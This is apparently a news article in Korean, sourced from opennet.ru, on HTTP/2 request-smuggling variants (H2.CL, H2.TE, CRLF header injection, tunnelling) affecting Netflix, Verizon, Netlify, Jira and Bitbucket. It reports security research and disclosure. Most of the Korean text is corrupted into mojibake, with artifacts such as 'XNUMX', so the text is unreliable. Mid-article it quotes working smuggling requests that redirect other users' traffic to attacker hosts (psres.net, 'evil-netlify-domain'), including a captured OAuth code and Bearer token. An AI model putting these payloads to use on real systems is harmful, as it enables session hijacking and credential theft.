ํ๋ฐํธ ์๋๊ฐ HTTP/2๋ฅผ ํตํด ์ฐ๊ฒฐ์ ์๋ฝํ๊ณ ์ด๋ฅผ HTTP/1.1์ ํตํด ๋ฐฑ์๋๋ก ์ ์กํ๋ ์น ์์คํ ์ "HTTP ์์ฒญ ์ค๋จธ๊ธ๋ง(HTTP Request Smuggling)" ๊ณต๊ฒฉ์ ์๋ก์ด ๋ณ์ข ์ ๋ ธ์ถ๋์์ต๋๋ค. ํ๋ฐํธ์๋์ ๋ฐฑ์๋ ์ฌ์ด์์ ๋์ผํ ํ๋ฆ์ผ๋ก ์ฒ๋ฆฌ๋๋ ๋ค๋ฅธ ์ฌ์ฉ์์ ์์ฒญ ๋ด์ฉ์ ์๊ธฐ๋ฅผ ๋ฐ์ต๋๋ค. ์ด ๊ณต๊ฒฉ์ ํฉ๋ฒ์ ์ธ ์น์ฌ์ดํธ์ ์ธ์ ์ ์ ์ฑ JavaScript ์ฝ๋๋ฅผ ์ฝ์ ํ๊ณ , ์ ๊ทผ ์ ํ ์์คํ ์ ์ฐํํ๊ณ , ์ธ์ฆ ๋งค๊ฐ๋ณ์๋ฅผ ๊ฐ๋ก์ฑ๋ ๋ฐ ์ฌ์ฉ๋ ์ ์์ต๋๋ค.
์ด ๋ฌธ์ ๋ ์์ฒญ์ด ํ๋ฐํธ์๋์์ ๋ฐฑ์๋ ๋ฐฉ์์ผ๋ก ๋ฆฌ๋๋ ์ ๋๋ ์น ํ๋ก์, ๋ก๋ ๋ฐธ๋ฐ์, ์น ๊ฐ์๊ธฐ, ์ฝํ ์ธ ์ ๋ฌ ์์คํ ๋ฐ ๊ธฐํ ๊ตฌ์ฑ์ ์ํฅ์ ๋ฏธ์นฉ๋๋ค. ์ฐ๊ตฌ ์์ฑ์๋ Netflix, Verizon, Bitbucket, Netlify CDN ๋ฐ Atlassian ์์คํ ์ ๊ณต๊ฒฉํ ์ ์๋ ๊ฐ๋ฅ์ฑ์ ์ ์ฆํ์ผ๋ฉฐ, ์ทจ์ฝ์ ์๋ณ์ ๋ํ ๋ณด์ ํ๋ก๊ทธ๋จ์ผ๋ก 56๋ฌ๋ฌ๋ฅผ ๋ฐ์์ต๋๋ค. F5๋คํธ์์ค ์ ํ์์๋ ๋ฌธ์ ๊ฐ ํ์ธ๋์์ต๋๋ค. ์ด ๋ฌธ์ ๋ Apache http ์๋ฒ(CVE-2021-33193)์ mod_proxy์ ๋ถ๋ถ์ ์ผ๋ก ์ํฅ์ ๋ฏธ์น๋ฉฐ ๋ฒ์ 2.4.49์์ ์์ ์ด ์์๋ฉ๋๋ค(๊ฐ๋ฐ์์๊ฒ 3์ ์ด์ ๋ฌธ์ ์ ๋ํ ์๋ฆผ์ด ์ ๋ฌ๋์์ผ๋ฉฐ ์์ ์ ์ํด 1.21.1๊ฐ์์ ์๊ฐ์ด ์ฃผ์ด์ก์ต๋๋ค). nginx์์๋ "Content-Length" ๋ฐ "Transfer-Encoding" ํค๋๋ฅผ ๋์์ ์ง์ ํ๋ ๊ธฐ๋ฅ์ด ๋ง์ง๋ง ๋ฆด๋ฆฌ์ค(XNUMX)์์ ์ฐจ๋จ๋์์ต๋๋ค. ๊ณต๊ฒฉ ๋๊ตฌ๋ ์ด๋ฏธ Burp ๋๊ตฌ ํคํธ์ ํฌํจ๋์ด ์์ผ๋ฉฐ Turbo Intruder ํ์ฅ ํ์์ผ๋ก ์ฌ์ฉํ ์ ์์ต๋๋ค.
์์ฒญ์ ํธ๋ํฝ์ ์ฐ๊ฒฐํ๋ ์๋ก์ด ๋ฐฉ๋ฒ์ ์๋ ์๋ฆฌ๋ 1.1๋ ์ ๋์ผํ ์ฐ๊ตฌ์์ด ์๋ณํ ์ทจ์ฝ์ ๊ณผ ์ ์ฌํ์ง๋ง HTTP/XNUMX์ ํตํด ์์ฒญ์ ์๋ฝํ๋ ํ๋ฐํธ์๋๋ก ์ ํ๋ฉ๋๋ค. ํ๋ฐํธ์๋-๋ฐฑ์๋ ๊ตฌ์ฑํ์์ ํด๋ผ์ด์ธํธ ์์ฒญ์ ์ถ๊ฐ ๋ ธ๋, ์ฆ ์์ฒญ์ ์ง์ ์ฒ๋ฆฌํ๋ ๋ฐฑ์๋์ ์ค๋ซ๋์ ์ง์๋๋ TCP ์ฐ๊ฒฐ์ ์ค์ ํ๋ ํ๋ฐํธ์๋์ ์ํด ์์ ๋๋ค๋ ์ ์ ๊ธฐ์ตํด ๋ณด๊ฒ ์ต๋๋ค. ์ด ๊ณตํต ์ฐ๊ฒฐ์ ํตํด ์ผ๋ฐ์ ์ผ๋ก ์๋ก ๋ค๋ฅธ ์ฌ์ฉ์์ ์์ฒญ์ด ์ ์ก๋๋ฉฐ, ์ด๋ HTTP ํ๋กํ ์ฝ์ ํตํด ๋ถ๋ฆฌ๋์ด ์ฒด์ธ์ ๋ฐ๋ผ ์ฐจ๋ก๋ก ์ ์ก๋ฉ๋๋ค.
๊ณ ์ ์ ์ธ "HTTP ์์ฒญ ๋ฐ์" ๊ณต๊ฒฉ์ ํ๋ฐํธ์๋์ ๋ฐฑ์๋๊ฐ HTTP ํค๋ "Content-Length"(์์ฒญ์ ์๋ ๋ฐ์ดํฐ์ ์ ์ฒด ํฌ๊ธฐ๋ฅผ ๊ฒฐ์ ) ๋ฐ "Transfer-Encoding: ์ฒญํฌ"(์ฒญํฌ ํ์ฉ)์ ์ฌ์ฉ์ ํด์ํ๋ค๋ ์ฌ์ค์ ๊ธฐ๋ฐ์ผ๋ก ํฉ๋๋ค. ๋ถ๋ถ์ ์ผ๋ก ์ ์ก๋๋ ๋ฐ์ดํฐ)๊ฐ ๋ค๋ฆ ๋๋ค. . ์๋ฅผ ๋ค์ด ํ๋ฐํธ์๋๊ฐ "Content-Length"๋ง ์ง์ํ๊ณ "Transfer-Encoding: ์ฒญํฌ ๋ถํ "์ ๋ฌด์ํ๋ ๊ฒฝ์ฐ ๊ณต๊ฒฉ์๋ "Content-Length" ๋ฐ "Transfer-Encoding: ์ฒญํฌ ๋ถํ " ํค๋๋ฅผ ๋ชจ๋ ํฌํจํ๋ ์์ฒญ์ ๋ณด๋ผ ์ ์์ง๋ง ํฌ๊ธฐ๋ "Content-Length"์ด๋ฉฐ ์ฒญํฌ ์ฒด์ธ์ ํฌ๊ธฐ์ ์ผ์นํ์ง ์์ต๋๋ค. ์ด ๊ฒฝ์ฐ ํ๋ฐํธ์๋๋ "Content-Length"์ ๋ฐ๋ผ ์์ฒญ์ ์ฒ๋ฆฌํ๊ณ ๋ฆฌ๋๋ ์ ํ๋ฉฐ, ๋ฐฑ์๋๋ "Transfer-Encoding: Chunked"๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ๋ธ๋ก์ด ์๋ฃ๋ ๋๊น์ง ๊ธฐ๋ค๋ฆฌ๋ฉฐ ๊ณต๊ฒฉ์ ์์ฒญ์ ๋๋จธ์ง ๋ถ๋ถ์ ๋ค์์ ์ ์ก๋๋ ๋ค๋ฅธ ์ฌ๋์ ์์ฒญ ์์ ๋ถ๋ถ์ ์์ด์ผ ํฉ๋๋ค.
๋ผ์ธ ์์ค์์ ๊ตฌ๋ฌธ ๋ถ์๋๋ ํ ์คํธ ํ๋กํ ์ฝ HTTP/1.1๊ณผ ๋ฌ๋ฆฌ HTTP/2๋ ๋ฐ์ด๋๋ฆฌ ํ๋กํ ์ฝ์ด๋ฉฐ ๋ฏธ๋ฆฌ ์ง์ ๋ ํฌ๊ธฐ์ ๋ฐ์ดํฐ ๋ธ๋ก์ ์กฐ์ํฉ๋๋ค. ๊ทธ๋ฌ๋ HTTP/2๋ ์ผ๋ฐ HTTP ํค๋์ ํด๋นํ๋ ์์ฌ ํค๋๋ฅผ ์ฌ์ฉํฉ๋๋ค. HTTP/1.1 ํ๋กํ ์ฝ์ ํตํด ๋ฐฑ์๋์ ์ํธ ์์ฉํ๋ ๊ฒฝ์ฐ ํ๋ฐํธ์๋๋ ์ด๋ฌํ ์์ฌ ํค๋๋ฅผ ์ ์ฌํ HTTP ํค๋ HTTP/1.1๋ก ๋ณํํฉ๋๋ค. ๋ฌธ์ ๋ ๋ฐฑ์๋๊ฐ ์๋ ์์ฒญ์ ๋งค๊ฐ๋ณ์์ ๋ํ ์ ๋ณด ์์ด ํ๋ฐํธ์๋์์ ์ค์ ํ HTTP ํค๋๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ์คํธ๋ฆผ ๊ตฌ๋ฌธ ๋ถ์์ ๋ํ ๊ฒฐ์ ์ ๋ด๋ฆฐ๋ค๋ ๊ฒ์ ๋๋ค.
ํนํ, โcontent-lengthโ์ โtransfer-encodingโ ๊ฐ์ ๋ชจ๋ ๋ฐ์ดํฐ์ ํฌ๊ธฐ๊ฐ ๊ฒฐ์ ๋๊ธฐ ๋๋ฌธ์ HTTP/2์์๋ ์ฌ์ฉ๋์ง ์์์๋ ๋ถ๊ตฌํ๊ณ ์์ฌ ํค๋ ํํ๋ก ์ ์ก๋ ์ ์์ต๋๋ค. ๋ณ๋์ ํ๋์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ HTTP/2 ์์ฒญ์ HTTP/1.1๋ก ๋ณํํ๋ ๊ณผ์ ์์ ์ด๋ฌํ ํค๋๊ฐ ์ ๋ฌ๋์ด ๋ฐฑ์๋๋ฅผ ํผ๋์ค๋ฝ๊ฒ ํ ์ ์์ต๋๋ค. ๋ ๊ฐ์ง ์ฃผ์ ๊ณต๊ฒฉ ๋ณํ์ด ์์ต๋๋ค: H2.TE ๋ฐ H2.CL. ์ด ๊ฒฝ์ฐ ํ๋ฐํธ์๋๊ฐ ์์ ํ ์์ฒญ ๋ณธ๋ฌธ์ ์ค์ ํฌ๊ธฐ์ ์ผ์นํ์ง ์๋ ์๋ชป๋ ์ ์ก ์ธ์ฝ๋ฉ ๋๋ ์ฝํ ์ธ ๊ธธ์ด ๊ฐ์ผ๋ก ์ธํด ๋ฐฑ์๋๊ฐ ์๋ชป ์ ๋๋ฉ๋๋ค. HTTP/2 ํ๋กํ ์ฝ.
H2.CL ๊ณต๊ฒฉ์ ์๋ก๋ Netflix์ HTTP/2 ์์ฒญ์ ๋ณด๋ผ ๋ ์ฝํ ์ธ ๊ธธ์ด ์์ฌ ํค๋์ ์๋ชป๋ ํฌ๊ธฐ๋ฅผ ์ง์ ํ๋ ๊ฒ์ ๋๋ค. ์ด ์์ฒญ์ผ๋ก ์ธํด HTTP/1.1์ ํตํด ๋ฐฑ์๋์ ์ก์ธ์คํ ๋ ์ ์ฌํ HTTP ํค๋ Content-Length๊ฐ ์ถ๊ฐ๋์ง๋ง Content-Length์ ํฌ๊ธฐ๊ฐ ์ค์ ํฌ๊ธฐ๋ณด๋ค ์๊ฒ ์ง์ ๋๋ฏ๋ก tail์ ๋ฐ์ดํฐ ์ผ๋ถ๊ฐ ๋ค์ ์์ฒญ์ ์์
์๋ฅผ ๋ค์ด HTTP/2๋ฅผ ์์ฒญํฉ๋๋ค. :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
์์ฒญ์ด ๋ฐฑ์๋๋ก ์ ์ก๋ฉ๋๋ค. POST /n HTTP/1.1 ํธ์คํธ: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 ํธ์คํธ: 02.rs?x.netflix.com Foo: bar
Content-Length์ ๊ฐ์ด 4์ด๋ฏ๋ก ๋ฐฑ์๋๋ ์์ฒญ ๋ณธ๋ฌธ์ผ๋ก "abcd"๋ง ํ์ฉํ๊ณ "GET /n HTTP/1.1..."์ ๋๋จธ์ง ๋ถ๋ถ์ ํ์ ์์ฒญ์ ์์์ผ๋ก ์ฒ๋ฆฌ๋ฉ๋๋ค. ๋ค๋ฅธ ์ฌ์ฉ์์ ์ฐ๊ฒฐ๋ฉ๋๋ค. ๋ฐ๋ผ์ ์คํธ๋ฆผ์ ๋น๋๊ธฐํ๋๊ณ ๋ค์ ์์ฒญ์ ๋ํ ์๋ต์ผ๋ก ๋๋ฏธ ์์ฒญ ์ฒ๋ฆฌ ๊ฒฐ๊ณผ๊ฐ ๋ฐํ๋ฉ๋๋ค. Netflix์ ๊ฒฝ์ฐ ๋๋ฏธ ์์ฒญ์ "Host:" ํค๋์ ํ์ฌ ํธ์คํธ๋ฅผ ์ง์ ํ๋ฉด ํด๋ผ์ด์ธํธ๊ฐ "์์น: https://02.rs?x.netflix.com/n" ์๋ต์ ๋ฐํํ๊ณ Netflix ์ฌ์ดํธ์ ์ปจํ ์คํธ์์ JavaScript ์ฝ๋ ์คํ์ ํฌํจํ์ฌ ์์์ ์ฝํ ์ธ ๊ฐ ํด๋ผ์ด์ธํธ์ ์ ์ก๋๋๋ก ํ์ฉํ์ต๋๋ค.
๋ ๋ฒ์งธ ๊ณต๊ฒฉ ์ต์ (H2.TE)์ "Transfer-Encoding: Chunked" ํค๋๋ฅผ ๋์ฒดํ๋ ๊ฒ์ ๋๋ค. HTTP/2์์ ์ ์ก ์ธ์ฝ๋ฉ ์์ฌ ํค๋์ ์ฌ์ฉ์ ์ฌ์์ ์ํด ๊ธ์ง๋์ด ์์ผ๋ฉฐ ์ด๋ฅผ ์ฌ์ฉํ ์์ฒญ์ ์๋ชป๋ ๊ฒ์ผ๋ก ์ฒ๋ฆฌ๋๋๋ก ๊ท์ ๋์ด ์์ต๋๋ค. ๊ทธ๋ผ์๋ ๋ถ๊ตฌํ๊ณ ์ผ๋ถ ํ๋ฐํธ์๋ ๊ตฌํ์์๋ ์ด ์๊ตฌ ์ฌํญ์ ๊ณ ๋ คํ์ง ์๊ณ ์ ์ฌํ HTTP ํค๋๋ก ๋ณํ๋๋ HTTP/2์ ์ ์ก ์ธ์ฝ๋ฉ ์์ฌ ํค๋ ์ฌ์ฉ์ ํ์ฉํฉ๋๋ค. "์ ์ก ์ธ์ฝ๋ฉ" ํค๋๊ฐ ์๋ ๊ฒฝ์ฐ ๋ฐฑ์๋๋ ์ด๋ฅผ ๋ ๋์ ์ฐ์ ์์๋ก ์ทจํ๊ณ "{size}\r\n{block" ํ์์ ๋ค์ํ ํฌ๊ธฐ ๋ธ๋ก์ ์ฌ์ฉํ์ฌ "์ฒญํฌ" ๋ชจ๋์์ ๋ฐ์ดํฐ๋ฅผ ํ๋์ฉ ๊ตฌ๋ฌธ ๋ถ์ํ ์ ์์ต๋๋ค. }\r\n{size} \r\n{block}\r\n0", ์ ์ฒด ํฌ๊ธฐ๋ก ์ด๊ธฐ ๋ถํ ์๋ ๋ถ๊ตฌํ๊ณ .
์ด๋ฌํ ๊ฒฉ์ฐจ์ ์กด์ฌ๋ Verizon์ ์ฌ๋ก์์ ์ ์ฆ๋์์ต๋๋ค. ๋ฌธ์ ๋ Huffington Post ๋ฐ Engadget๊ณผ ๊ฐ์ ์ฌ์ดํธ์์๋ ์ฌ์ฉ๋๋ ์ธ์ฆ ํฌํธ ๋ฐ ์ฝํ ์ธ ๊ด๋ฆฌ ์์คํ ๊ณผ ๊ด๋ จ์ด ์์ต๋๋ค. ์๋ฅผ ๋ค์ด HTTP/2๋ฅผ ํตํ ํด๋ผ์ด์ธํธ ์์ฒญ: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding Chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
๋ฐฑ์๋์ HTTP/1.1 ์์ฒญ์ ๋ณด๋ธ ๊ฒฐ๊ณผ: POST /identity/XUI HTTP/1.1 ํธ์คํธ: id.b2b.oath.com ์ฝํ ์ธ ๊ธธ์ด: 66 ์ ์ก ์ธ์ฝ๋ฉ: ์ฒญํฌ 0 GET /oops HTTP/1.1 ํธ์คํธ: psres. ์ ์ฝํ ์ธ - ๊ธธ์ด: 10x=
๊ทธ๋ฌ๋ฉด ๋ฐฑ์๋๋ "Content-Length" ํค๋๋ฅผ ๋ฌด์ํ๊ณ "Transfer-Encoding: Chunked"๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ์ธ์คํธ๋ฆผ ๋ถํ ์ ์ํํ์ต๋๋ค. ์ค์ ๋ก ์ด ๊ณต๊ฒฉ์ ํตํด OAuth ์ธ์ฆ๊ณผ ๊ด๋ จ๋ ์์ฒญ์ ๊ฐ๋ก์ฑ๋ ๊ฒ(Referer ํค๋์ ๋งค๊ฐ๋ณ์๊ฐ ํ์๋จ), ์ธ์ฆ ์ธ์ ์ ์๋ฎฌ๋ ์ด์ ํ๊ณ ์ฌ์ฉ์ ์์คํ ์ด ์๊ฒฉ ์ฆ๋ช ์ ๋ณด๋ด๋๋ก ํธ๋ฆฌ๊ฑฐํ๋ ๋ฑ ์ฌ์ฉ์ ์์ฒญ์ ์น ์ฌ์ดํธ๋ก ๋ฆฌ๋๋ ์ ํ๋ ๊ฒ์ด ๊ฐ๋ฅํด์ก์ต๋๋ค. ๊ณต๊ฒฉ์์ ํธ์คํธ์. GET /b2blanding/show/oops HTTP/1.1 ํธ์คํธ: psres.net ์ถ์ฒ์: https://id.b2b.oath.com/?โฆ&code=secret GET / HTTP/1.1 ํธ์คํธ: psres.net ์ธ์ฆ: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ikโฆ
์ ์ก ์ธ์ฝ๋ฉ ์์ฌ ํค๋ ์ง์ ์ ํ์ฉํ์ง ์๋ HTTP/2 ๊ตฌํ์ ๊ณต๊ฒฉํ๊ธฐ ์ํด "Transfer-Encoding" ํค๋๋ฅผ ๊ฐํ ๋ฌธ์๋ก ๊ตฌ๋ถ๋ ๋ค๋ฅธ ์์ฌ ํค๋์ ์ฒจ๋ถํ์ฌ ๋์ฒดํ๋ ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ด ์ ์๋์์ต๋๋ค( ์ด ๊ฒฝ์ฐ HTTP/1.1๋ก ๋ณํํ๋ฉด ๋ ๊ฐ์ ๋ณ๋ HTTP ํค๋๊ฐ ์์ฑ๋ฉ๋๋ค.
์๋ฅผ ๋ค์ด Atlassian Jira ๋ฐ Netlify CDN(Firefox์์ Mozilla ์์ ํ์ด์ง๋ฅผ ์ ๊ณตํ๋ ๋ฐ ์ฌ์ฉ๋จ)์ด ์ด ๋ฌธ์ ์ ์ํฅ์ ๋ฐ์์ต๋๋ค. ํนํ HTTP/2 ์์ฒญ :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: Chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n ์ฝํ ์ธ ๊ธธ์ด: 5\r\n \r\nx=
๊ฒฐ๊ณผ์ ์ผ๋ก HTTP/1.1 POST/HTTP/1.1 ์์ฒญ์ด ๋ฐฑ์๋๋ก ์ ์ก๋์์ต๋๋ค.\r\n ํธ์คํธ: start.mozilla.org\r\n Foo: b\r\n ์ ์ก ์ธ์ฝ๋ฉ: ์ฒญํฌ\r\n ์ฝํ ์ธ ๊ธธ์ด : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n ํธ์คํธ: evil-netlify-domain\r\n ์ฝํ ์ธ ๊ธธ์ด: 5\r\n \r \nx=
"Transfer-Encoding" ํค๋๋ฅผ ๋์ฒดํ๋ ๋ ๋ค๋ฅธ ์ต์ ์ ์ด๋ฅผ ๋ค๋ฅธ ์์ฌ ํค๋์ ์ด๋ฆ์ด๋ ์์ฒญ ๋ฉ์๋๊ฐ ์๋ ํ์ ์ฒจ๋ถํ๋ ๊ฒ์ ๋๋ค. ์๋ฅผ ๋ค์ด Atlassian Jira์ ์ก์ธ์คํ ๋ ๊ฐ์ด "chunked"์ธ ์์ฌ ํค๋ ์ด๋ฆ "foo: bar\r\ntransfer-encoding"์ผ๋ก ์ธํด HTTP ํค๋ "foo: bar" ๋ฐ "transfer-encoding: Chunked"๊ฐ ์ถ๊ฐ๋์์ต๋๋ค. , ์์ฌ ํค๋ ":method" ๊ฐ "GET / HTTP/1.1\r\nTransfer-encoding: ์ฒญํฌ๋จ"์ ์ง์ ํ๋ฉด "GET / HTTP/1.1\r\ntransfer-encoding: ์ฒญํฌ๋จ"์ผ๋ก ๋ณํ๋์์ต๋๋ค.
๋ฌธ์ ๋ฅผ ํ์
ํ ์ฐ๊ตฌ์์ ํ๋ฐํธ์๋๋ฅผ ๊ณต๊ฒฉํ๊ธฐ ์ํ ์์ฒญ ํฐ๋๋ง ๊ธฐ์ ๋ ์ ์ํ๋๋ฐ, ์ด ๊ธฐ์ ์์๋ ๊ฐ IP ์ฃผ์๊ฐ ๋ฐฑ์๋์ ๋ณ๋์ ์ฐ๊ฒฐ์ ์ค์ ํ๊ณ ์๋ก ๋ค๋ฅธ ์ฌ์ฉ์์ ํธ๋ํฝ์ด ํผํฉ๋์ง ์์ต๋๋ค. ์ ์๋ ๊ธฐ์ ์ ๋ค๋ฅธ ์ฌ์ฉ์์ ์์ฒญ์ ๋ฐฉํดํ๋ ๊ฒ์ ํ์ฉํ์ง ์์ง๋ง, ๋ค๋ฅธ ์์ฒญ์ ์ฒ๋ฆฌ์ ์ํฅ์ ๋ฏธ์น๋ ๊ณต์ ์บ์๋ฅผ ์ค์ผ์ํฌ ์ ์์ผ๋ฉฐ, ํ๋ฐํธ์๋์์ ๋ฐฑ์๋๋ก ์๋น์ค ์ ๋ณด๋ฅผ ์ ์กํ๋ ๋ฐ ์ฌ์ฉ๋๋ ๋ด๋ถ HTTP ํค๋๋ฅผ ๋์ฒดํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด ํ๋ฐํธ์๋ ์ธก์์ ์ธ์ฆํ ๋ ์ด๋ฌํ ํค๋๋ ํ์ฌ ์ฌ์ฉ์์ ๋ํ ์ ๋ณด๋ฅผ ๋ฐฑ์๋๋ก ์ ์กํ ์ ์์ต๋๋ค. ์ด ๋ฐฉ๋ฒ์ ์ค์ ๋ก ์ ์ฉํ ์๋ก ์บ์ ํฌ์ด์ฆ๋(Cache Poisoning)์ ์ด์ฉํ๋ฉด Bitbucket ์๋น์ค์์ ํ์ด์ง์ ๋ํ ์ ์ด๊ถ์ ์ป๋ ๊ฒ์ด ๊ฐ๋ฅํ๋ค.
์ถ์ฒ : opennet.ru